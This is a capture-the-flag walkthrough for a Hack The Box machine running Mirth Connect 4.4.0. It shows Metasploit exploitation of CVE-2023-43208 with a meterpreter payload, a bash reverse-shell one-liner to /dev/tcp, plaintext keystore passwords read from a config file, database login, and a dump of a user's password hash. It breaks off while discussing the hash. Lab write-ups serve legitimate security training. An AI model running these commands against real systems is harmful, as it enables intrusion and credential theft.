        <jar download="eager" href="webstart/client-lib/xstream-1.4.19.jar" sha256="An1TfdUt/dyRZWO1O4L3OB8/I2JYJnHX/7u7e07lrfs="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v28-2.3.jar" sha256="LIlghnHInyIiHFipUqQEqo3w3/JHwBbVXKNhtH3vSpw="/>
        <jar download="eager" href="webstart/client-lib/looks-2.3.1.jar" sha256="YAGKqTQk1/doNoOzJ1me0F2OBO7bRAEa052xk2Y4Qxc="/>
        <jar download="eager" href="webstart/client-lib/jaxb-runtime-2.4.0-b180725.0644.jar" sha256="p+osvQhxLrgqF4woPOlD78SuhWAGS74O3nGOq2lsYt8="/>
        <jar download="eager" href="webstart/client-lib/jcifs-ng-2.1.8.jar" sha256="1LMOZ6bPn/yHjkrqho3k+KVvs0hCENbK4sh0lA7AefE="/>
        <jar download="eager" href="webstart/client-lib/swingx-core-1.6.2.jar" sha256="Krugs5yfMGY+hJP2YtVjQzk2fEBIDqKNL+Mpc0zs93E="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v23-2.3.jar" sha256="JlCBJVERFzAiyp4INZU5rdaQqHJRzlusNXYxwvVbNgA="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v21-2.3.jar" sha256="SWz11YnwDV8se0huhvnwPbSN3zb+52VnIXrCbxj71os="/>
        <jar download="eager" href="webstart/client-lib/bcutil-jdk18on-171.jar" sha256="/jd5If5JVbQraUTgVMUDOsziWVrAdupKbC2YtCaBEYU="/>
        <jar download="eager" href="webstart/client-lib/openjfx.jar" sha256="xXKQTb9rtpA+xbbrJv41SeGQsfBLK5od/tjYzSBEfqI="/>
        <jar download="eager" href="webstart/client-lib/hapi-base-2.3.jar" sha256="XgloOIjOa0PPHD6YRCtQYz8Sh1wOXd4qZwT8rP0NH2g="/>
        <jar download="eager" href="webstart/client-lib/jersey-media-multipart-2.22.1.jar" sha256="NI9cZ1099RlbB1UDeDeqxG+JDk1XL/5QpulQF76VM0E="/>
        <jar download="eager" href="webstart/client-lib/httpcore-4.4.13.jar" sha256="7GMATM3FXKnnKJokElaJxSUznUY4lI0nbKKo+XW/Amk="/>
        <jar download="eager" href="webstart/client-lib/xercesImpl-2.9.1.jar" sha256="35zfeAILzwjhdB7CmbVNu/IgqdWm92le919CD0vT3Go="/>
        <jar download="eager" href="webstart/client-lib/javax.activation-1.2.0.jar" sha256="rV9iEYBiiE0cU0+2Dd3Mqihmk/ykGK62+YGf/7Hmofo="/>
        <jar download="eager" href="webstart/client-lib/hk2-api-2.4.0-b31.jar" sha256="Yd0V2fCUvbtCeWsKybYe52IiKr0pcWUXYG2r1qRCKVo="/>
        <jar download="eager" href="webstart/client-lib/commons-compress-1.17.jar" sha256="vdHWwrCXRfPZawbulPFXxx/9elZghqPNsYD9Sq/EiRU="/>
        <jar download="eager" href="webstart/client-lib/staxon-1.3.jar" sha256="jeWRqRwl0xXZzYCV4hHI9L8Ce/sy9mNVsg1LmzrcH0w="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v231-2.3.jar" sha256="Zy3A3/aqpUxulbTzSLOfFS/zskDaRtHqcyktQ9Ppl8U="/>
        <jar download="eager" href="webstart/client-lib/jackson-databind-2.11.3.jar" sha256="HdpB6UnUciJ4xp3AApqF3SD0DC7XceIsoqy+nvtRO/k="/>
        <jar download="eager" href="webstart/client-lib/jersey-guava-2.22.1.jar" sha256="IBqA2V9KW8RRbGf1gi83X1yPbPevBUWvSvSLAsBT/+8="/>
        <jar download="eager" href="webstart/client-lib/joda-time-2.9.9.jar" sha256="lbeoqEup9KalPvZCzypvbbIkaIWi2jlKfSpHlQIt1rw="/>
        <jar download="eager" href="webstart/client-lib/velocity-engine-core-2.2.jar" sha256="hLoIAPaQME4UpUhH4JM/BaRE1XU/aAsKWpO/a7QtlqM="/>
        <jar download="eager" href="webstart/client-lib/javax.inject-2.4.0-b31.jar" sha256="VMorIrzeWoo+lDm5JOnVK0w4Cshu5wEmVgjP6lkqqDw="/>
        <jar download="eager" href="webstart/client-lib/jackson-annotations-2.11.3.jar" sha256="DoOzxry+xCjH7dTFsmeOBqnf6tp/MADddqPAc74EbAw="/>
        <jar download="eager" href="webstart/client-lib/slf4j-api-1.7.30.jar" sha256="4odF1co8Wo88h4Pmg/GzGh2SKMnnn0Yi04e0Og0Rg6o="/>
        <jar download="eager" href="webstart/client-lib/commons-pool2-2.3.jar" sha256="APdgYnfApxJ1KQ+FlfuLhcSYL1J+YfM2gWQG52hhogQ="/>
        <jar download="eager" href="webstart/client-lib/javassist-3.26.0-GA.jar" sha256="CIYZWNSYwYzGL6Br67AC6i0neHBvi2JOpCjRjmJGFI0="/>
        <jar download="eager" href="webstart/client-lib/guava-28.2-jre.jar" sha256="SyoNyKpmdiFudyjFaul5lMleraSD8E85voyrCpzf9dY="/>
        <jar download="eager" href="webstart/client-lib/jaxb-api-2.4.0-b180725.0427.jar" sha256="l9sDNL727nZkvNzCarcpq7jd8VcMu3ss6FNOSG57/NQ="/>
        <jar download="eager" href="webstart/client-lib/httpmime-4.5.13.jar" sha256="7R/v9tFfvVFBimz7msrZ1B6Zfq5bGQqFDkyYFterJMM="/>
        <jar download="eager" href="webstart/client-lib/wizard.jar" sha256="7OYEhgqNU7QJqK9bHGJNJqxFCi4oWVlF8XtYwBaPdOo="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v22-2.3.jar" sha256="OjQVkkOwGi+iGVkPv9q06zuiHw6ER+iUMlZJJHc35ZA="/>
        <jar download="eager" href="webstart/client-lib/miglayout-swing-4.2.jar" sha256="Mx8CMy2FiaUHSLJB4nSirw4XWrQiuzZuHbTK385bnIk="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v25-2.3.jar" sha256="9SblQqKV9egD7z7obYD6BnY/nTXvli5+uPkLYDvsYAs="/>
        <jar download="eager" href="webstart/client-lib/reflections-0.9.10.jar" sha256="IPDk2Q6OmWaPvh4hRXVM0PYCrWryNVd0aaiufWFahNk="/>
        <jar download="eager" href="webstart/client-lib/javaparser-1.0.8.jar" sha256="cUyZFy6pW06C7BeXIVnQH1jSDjn+D6NOvFLdxZm0v3U="/>
        <jar download="eager" href="webstart/client-lib/miglayout-core-4.2.jar" sha256="0ajHMEw8GsCWLq1gSh9zhJp+FRGHhq//sRO2RTz9EtU="/>
        <jar download="eager" href="webstart/client-lib/bcprov-ext-jdk18on-171.jar" sha256="/1v9cPkedM2dS61zfPb1QRczEb2XjDx8IxQ+vX3EgqM="/>
        <jar download="eager" href="webstart/client-lib/jersey-common-2.22.1.jar" sha256="w1a3DUxOzMnN3ShUe3BgqKq+LQZuRXbjf7XPGAGSyH4="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v26-2.3.jar" sha256="/sdcfbvvni4u7iJ7C4fAoGuqBV3SKt+oaeaUmrz7soc="/>
        <jar download="eager" href="webstart/client-lib/javax.ws.rs-api-2.0.1.jar" sha256="1anYrmLH6XVLuL6UdyHChnVC63G88ZN6ksYVKDHrwWY="/>
        <jar download="eager" href="webstart/client-lib/rhino-1.7.13.jar" sha256="9YLjcaeQjbLFrlnNeNAPPFyO7GwkWeoivlB+cHf/LGw="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v251-2.3.jar" sha256="PKc8cQQrOWODAnNyWfbj0YGGoZlR2+ekBnToOn9XIp4="/>
        <jar download="eager" href="webstart/client-lib/bcpkix-jdk18on-171.jar" sha256="skuBILkn+PcpJuDP/M9di3Nu3hlq93rYuSSgS2/ovtQ="/>
        <jar download="eager" href="webstart/client-lib/javax.mail-1.5.0.jar" sha256="flDlXMAW8Rl7/D5PRT6aziJ5+BFLgCkly4USmIUJnj0="/>
        <jar download="eager" href="webstart/client-lib/slf4j-log4j12-1.7.30.jar" sha256="7G71CIScs6JqQn95E5IH01sMkDdrP/BDQgCS9ZwmIvE="/>
        <jar download="eager" href="webstart/client-lib/jai_imageio.jar" sha256="Sv+7VsN2v7lCseg/10Hfl+25Z17DIjbBFS5LW8uSCzc="/>
        <jar download="eager" href="webstart/client-lib/javax.activation-api-1.2.0.jar" sha256="v3ndkHoaiEwiTJpm9177HFQztgaZC5VfN9B2jdrkhFs="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v27-2.3.jar" sha256="fJ668/E7otWgs7SA1jHiiCpKHSHAiouVPKS3IO1Zcq4="/>
        <jar download="eager" href="webstart/client-lib/userutil-sources.jar" sha256="1BGr/v2Og/FH2XYS244rEs7fsLEu1BmKQmSpWHRn05U="/>
        <jar download="eager" href="webstart/client-lib/bcprov-jdk18on-171.jar" sha256="l7kndUKXP0Boq6mlKee5Qo78WjkJEH2nDYp/+PbhVkI="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v281-2.3.jar" sha256="4s3VMiZqi8XRR8R2ojsgD9sALwtqw4wnSRa0d0YxYtU="/>
        <jar download="eager" href="webstart/client-lib/jersey-client-2.22.1.jar" sha256="gmAUfqtAN3AeddIKF40h1pvUB10Qzdy3+Z6zWKXueTY="/>
        <jar download="eager" href="webstart/client-lib/log4j-api-2.17.2.jar" sha256="Rpvu+JLDk4rkoNnRr8C9xI57yHVBwTB0tvAL8zSi5cY="/>
        <jar download="eager" href="webstart/client-lib/httpclient-4.5.13.jar" sha256="G87KYCKVy/05s9g44w8cILxtugjhab6FyoM24Xcov9M="/>
        <jar download="eager" href="webstart/client-lib/istack-commons-runtime-3.0.6.jar" sha256="r7Pdb2yYKzY3TR1m8Nq8nR52JTeX9WjlGYZWwvQQMrU="/>
        <jar download="eager" href="webstart/client-lib/hapi-structures-v24-2.3.jar" sha256="m6ulzJ/p9GGit/n3kid3O2VDZSSGdSgzltNd1UVGFuw="/>
        <jar download="eager" href="webstart/client-lib/commons-lang-2.6.jar" sha256="NKmzkdAArMvPlzkusZAE3/wiKSk1XsdzJONkUQvG8dk="/>
        <jar download="eager" href="webstart/client-lib/commons-beanutils-1.9.3.jar" sha256="rpgEMWYeRxs6wfLVCeOCrgm2CWo+QdSNPxLK05zWz9k="/>
        <jar download="eager" href="webstart/client-lib/regions-2.15.28.jar" sha256="DO+3VI3z+GW/FSgxHWsjJ6ddn3FedIBCeRkdvjUSWc0="/>
        <jar download="eager" href="webstart/client-lib/hk2-utils-2.4.0-b31.jar" sha256="1dSEKIqf2Ocip0f+5elBZJxi6UnRoaLg5RsfdzNluTI="/>
        <extension href="webstart/extensions/scriptfilestep.jnlp"/>
        <extension href="webstart/extensions/textviewer.jnlp"/>
        <extension href="webstart/extensions/dicomviewer.jnlp"/>
        <extension href="webstart/extensions/js.jnlp"/>
        <extension href="webstart/extensions/jdbc.jnlp"/>
        <extension href="webstart/extensions/mapper.jnlp"/>
        <extension href="webstart/extensions/directoryresource.jnlp"/>
        <extension href="webstart/extensions/datapruner.jnlp"/>
        <extension href="webstart/extensions/javascriptrule.jnlp"/>
        <extension href="webstart/extensions/datatype-xml.jnlp"/>
        <extension href="webstart/extensions/datatype-ncpdp.jnlp"/>
        <extension href="webstart/extensions/jms.jnlp"/>
        <extension href="webstart/extensions/datatype-json.jnlp"/>
        <extension href="webstart/extensions/xsltstep.jnlp"/>
        <extension href="webstart/extensions/file.jnlp"/>
        <extension href="webstart/extensions/scriptfilerule.jnlp"/>
        <extension href="webstart/extensions/messagebuilder.jnlp"/>
        <extension href="webstart/extensions/datatype-dicom.jnlp"/>
        <extension href="webstart/extensions/serverlog.jnlp"/>
        <extension href="webstart/extensions/datatype-hl7v3.jnlp"/>
        <extension href="webstart/extensions/datatype-hl7v2.jnlp"/>
        <extension href="webstart/extensions/ws.jnlp"/>
        <extension href="webstart/extensions/javascriptstep.jnlp"/>
        <extension href="webstart/extensions/dashboardstatus.jnlp"/>
        <extension href="webstart/extensions/datatype-raw.jnlp"/>
        <extension href="webstart/extensions/tcp.jnlp"/>
        <extension href="webstart/extensions/datatype-edi.jnlp"/>
        <extension href="webstart/extensions/smtp.jnlp"/>
        <extension href="webstart/extensions/globalmapviewer.jnlp"/>
        <extension href="webstart/extensions/httpauth.jnlp"/>
        <extension href="webstart/extensions/dicom.jnlp"/>
        <extension href="webstart/extensions/imageviewer.jnlp"/>
        <extension href="webstart/extensions/mllpmode.jnlp"/>
        <extension href="webstart/extensions/pdfviewer.jnlp"/>
        <extension href="webstart/extensions/destinationsetfilter.jnlp"/>
        <extension href="webstart/extensions/vm.jnlp"/>
        <extension href="webstart/extensions/http.jnlp"/>
        <extension href="webstart/extensions/doc.jnlp"/>
        <extension href="webstart/extensions/rulebuilder.jnlp"/>
        <extension href="webstart/extensions/datatype-delimited.jnlp"/>
    </resources>
    	
	
    <application-desc main-class="com.mirth.connect.client.ui.Mirth">
        <argument>https://interpreter.htb:443</argument>
        <argument>4.4.0</argument>
    </application-desc>
    
</jnlp>

The main part to focus on this file is the fact that the service is running on version 4.4.0. We already know that the service being ran is NextGen Healthcare, shown on the homepage. Note, Mirth Connect is most likely just the company name.

With the service name and version, we can try to find an exploit. Google gives us CVE-2023-43208, which is a Remote Code Execution (RCE) vulnerability.

From here, we have multiple paths to take. One way is to find a Proof-of-Concept (PoC) on GitHub. Another way for this exploit is to search for it on the Metsploit Framework.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $msfconsole -q
[msf](Jobs:0 Agents:0) >> search nextgen

Matching Modules
================

   #  Name                                                Disclosure Date  Rank       Check  Description
   -  ----                                                ---------------  ----       -----  -----------
   0  exploit/multi/http/mirth_connect_cve_2023_43208     2023-10-25       excellent  Yes    Mirth Connect Deserialization RCE
   1    \_ target: Unix Command                           .                .          .      .
   2    \_ target: Windows Command                        .                .          .      .
   3  auxiliary/scanner/http/wp_nextgen_galley_file_read  .                normal     No     WordPress NextGEN Gallery Directory Read Vulnerability


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/http/wp_nextgen_galley_file_read

We can see that the CVE is available! msfconsole makes it much easier to exploit vulnerabilities (it does have its drawbacks, like how noisy it is), so we will use the available module it has.

1
2
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp

We can now set the correct options for this exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> options

Module options (exploit/multi/http/mirth_connect_cve_2023_43208):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, s
                                         ocks5h, sapni, http, socks4
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
                                         asploit.html
   RPORT      8443             yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE    false            yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Lin
                                              ux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Acce
                                              pted: none, python3.8+, shell-search, shell)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           REDACTED         yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      BTgOaqFZ         no        Name to use on remote system when storing payload; cannot contain spaces or slash
                                                  es
   FETCH_WRITABLE_DIR  ./               yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> set LHOST REDACTED
LHOST => REDACTED
[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> set RHOSTS 10.129.244.184
RHOSTS => 10.129.244.184
[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> set RPORT 443
RPORT => 443
[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> set FETCH_COMMAND WGET
FETCH_COMMAND => WGET

It is imperative that you change RPORT to 443, as that is the port where the service is running. You can also see this in the .jnlp file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[msf](Jobs:0 Agents:0) exploit(multi/http/mirth_connect_cve_2023_43208) >> run
[*] Started reverse TCP handler on REDACTED:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Sending stage (3090404 bytes) to 10.129.244.184
[*] Meterpreter session 1 opened (REDACTED:4444 -> 10.129.244.184:36274) at 2026-05-30 17:41:37 +0900

(Meterpreter 1)(/usr/local/mirthconnect) > shell
Process 4357 created.
Channel 1 created.
whoami
mirth

As you can see, we do have Initial Access! I like to have my shell on Penelope, so we can execute a reverse shell on our current shell and have Penelope listening.

1
bash -c 'exec bash -i &>/dev/tcp/REDACTED/1337 <&1'
1
2
3
4
5
6
7
8
9
10
11
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $penelope -p 1337
[+] Listening for reverse shells on 0.0.0.0:1337 -> REDACTED
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => interpreter 10.129.244.184 Linux-x86_64 👤 mirth(103) 😍️ Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/donutmaster/.penelope/sessions/interpreter~10.129.244.184-Linux-x86_64/2026_05_30-17_43_22-837.log
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
mirth@interpreter:/usr/local/mirthconnect$

User Flag

MySQL

1
2
3
4
5
mirth@interpreter:/usr/local/mirthconnect$ cd /home
mirth@interpreter:/home$ ls
sedric
mirth@interpreter:/home$ cd sedric
bash: cd: sedric: Permission denied

We have one user named sedric. This is probably the user we have to escalate to (forshadowing…..).

Usually, services have some sort of configuration file, so we can look around /usr/local/mirthconnect for anything useful.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mirth@interpreter:/home$ cd /usr/local/mirthconnect
mirth@interpreter:/usr/local/mirthconnect$ ls -lah
total 148K
drwxr-xr-x 14 mirth mirth 4.0K May 30 04:44 .
drwxr-xr-x 11 root  root  4.0K Feb 16 15:42 ..
drwxr-xr-x  3 mirth mirth 4.0K Feb 16 15:42 .install4j
-rwxr-xr-x  1 mirth mirth  250 May 30 04:44 UTkunZiYqzRI
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 client-lib
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 conf
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 custom-lib
drwxr-xr-x  4 mirth mirth 4.0K Feb 16 15:42 docs
drwxr-xr-x 43 mirth mirth 4.0K Feb 16 15:42 extensions
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 logs
-rwxr-xr-x  1 mirth mirth  15K Jul 18  2023 mcserver
-rwxr-xr-x  1 mirth mirth   69 Jul 18  2023 mcserver.vmoptions
-rwxr-xr-x  1 mirth mirth  18K Jul 18  2023 mcservice
-rwxr-xr-x  1 mirth mirth   69 Jul 18  2023 mcservice.vmoptions
-rwxr-xr-x  1 mirth mirth  17K Jul 18  2023 mirth-server-launcher.jar
-rwxr-xr-x  1 mirth mirth 1.3K Sep 19  2025 preferences
drwxr-xr-x  7 mirth mirth 4.0K Feb 16 15:42 public_api_html
drwxr-xr-x  6 mirth mirth 4.0K Feb 16 15:42 public_html
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 server-launcher-lib
drwxr-xr-x 14 mirth mirth 4.0K Feb 16 15:42 server-lib
-rwxr-xr-x  1 mirth mirth  17K Jul 18  2023 uninstall
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 webapps

We do indeed have a conf directory.

1
2
3
4
5
6
7
8
mirth@interpreter:/usr/local/mirthconnect$ cd conf
mirth@interpreter:/usr/local/mirthconnect/conf$ ls -lah
total 24K
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 .
drwxr-xr-x 14 mirth mirth 4.0K May 30 04:44 ..
-rwxr-xr-x  1 mirth mirth 1.5K Jul 18  2023 dbdrivers.xml
-rwxr-xr-x  1 mirth mirth 2.2K Sep 19  2025 log4j2.properties
-rwxr-xr-x  1 mirth mirth 4.8K May 30 02:46 mirth.properties

The most interesting file here seems like mirth.properties, which we will look at first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
# Mirth Connect configuration file

# directories
dir.appdata = /var/lib/mirthconnect
dir.tempdata = ${dir.appdata}/temp

# ports
http.port = 80
https.port = 443

# password requirements
password.minlength = 0
password.minupper = 0
password.minlower = 0
password.minnumeric = 0
password.minspecial = 0
password.retrylimit = 0
password.lockoutperiod = 0
password.expiration = 0
password.graceperiod = 0
password.reuseperiod = 0
password.reuselimit = 0

# Only used for migration purposes, do not modify
version = 4.4.0

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

# server
http.contextpath = /
server.url =

http.host = 0.0.0.0
https.host = 0.0.0.0

https.client.protocols = TLSv1.3,TLSv1.2
https.server.protocols = TLSv1.3,TLSv1.2,SSLv2Hello
https.ciphersuites = TLS_CHACHA20_POLY1305_SHA256,TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256,TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256,TLS_AES_256_GCM_SHA384,TLS_AES_128_GCM_SHA256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384,TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384,TLS_DHE_RSA_WITH_AES_256_GCM_SHA384,TLS_DHE_DSS_WITH_AES_256_GCM_SHA384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,TLS_RSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256,TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256,TLS_DHE_RSA_WITH_AES_128_GCM_SHA256,TLS_DHE_DSS_WITH_AES_128_GCM_SHA256,TLS_EMPTY_RENEGOTIATION_INFO_SCSV
https.ephemeraldhkeysize = 2048

# If set to true, the Connect REST API will require all incoming requests to contain an "X-Requested-With" header.
# This protects against Cross-Site Request Forgery (CSRF) security vulnerabilities.
server.api.require-requested-with = true

# CORS headers
server.api.accesscontrolalloworigin = *
server.api.accesscontrolallowcredentials = false
server.api.accesscontrolallowmethods = GET, POST, DELETE, PUT
server.api.accesscontrolallowheaders = Content-Type
server.api.accesscontrolexposeheaders =
server.api.accesscontrolmaxage =

# Determines whether or not channels are deployed on server startup.
server.startupdeploy = true

# Determines whether libraries in the custom-lib directory will be included on the server classpath.
# To reduce potential classpath conflicts you should create Resources and use them on specific channels/connectors instead, and then set this value to false.
server.includecustomlib = true

# administrator
administrator.maxheapsize = 512m

# properties file that will store the configuration map and be loaded during server startup
configurationmap.path = ${dir.appdata}/configuration.properties

# The language version for the Rhino JavaScript engine (supported values: 1.0, 1.1, ..., 1.8, es6).
rhino.languageversion = es6

# options: derby, mysql, postgres, oracle, sqlserver
database = mysql

# examples:
#   Derby                       jdbc:derby:${dir.appdata}/mirthdb;create=true
#   PostgreSQL                  jdbc:postgresql://localhost:5432/mirthdb
#   MySQL                       jdbc:mysql://localhost:3306/mirthdb
#   Oracle                      jdbc:oracle:thin:@localhost:1521:DB
#   SQL Server/Sybase (jTDS)    jdbc:jtds:sqlserver://localhost:1433/mirthdb
#   Microsoft SQL Server        jdbc:sqlserver://localhost:1433;databaseName=mirthdb
#   If you are using the Microsoft SQL Server driver, please also specify database.driver below 
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

# If using a custom or non-default driver, specify it here.
# example:
# Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver
# (Note: the jTDS driver is used by default for sqlserver)
database.driver = org.mariadb.jdbc.Driver

# Maximum number of connections allowed for the main read/write connection pool
database.max-connections = 20
# Maximum number of connections allowed for the read-only connection pool
database-readonly.max-connections = 20

# database credentials
database.username = mirthdb
database.password = REDACTED

#On startup, Maximum number of retries to establish database connections in case of failure
database.connection.maxretry = 2

#On startup, Maximum wait time in milliseconds for retry to establish database connections in case of failure
database.connection.retrywaitinmilliseconds = 10000

# If true, various read-only statements are separated into their own connection pool.
# By default the read-only pool will use the same connection information as the master pool,
# but you can change this with the "database-readonly" options. For example, to point the
# read-only pool to a different JDBC URL:
#
# database-readonly.url = jdbc:...
# 
database.enable-read-write-split = true

We are given a MySQL username and password!

1
2
database.username = mirthdb
database.password = REDACTED

We can login with these credentials.

1
2
3
4
5
6
7
8
9
10
11
mirth@interpreter:/usr/local/mirthconnect/conf$ mysql -h localhost -u mirthdb -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Privilege Escalation

We can search for useful information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mc_bdd_prod        |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use mc_bdd_prod
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.000 sec)

MariaDB [mc_bdd_prod]> select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN          | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY       | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
|  2 | sedric   |           |          |              | NULL     |       |             |             | 2025-09-21 17:56:02 | NULL               |            0 | NULL             |           | NULL | United States | NULL           |           0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.000 sec)

MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
+-----------+-------------+---------------------+
| PERSON_ID | PASSWORD    | PASSWORD_DATE       |
+-----------+-------------+---------------------+
|         2 | REDACTED    | 2025-09-19 09:22:28 |
+-----------+-------------+---------------------+
1 row in set (0.000 sec)

We have found a hash for the user sedric!

After some googling, it seems like this hash is base64 encoded and a PBKDF2-HMAC-SHA256 hash.

  • Salt: 8 bytes
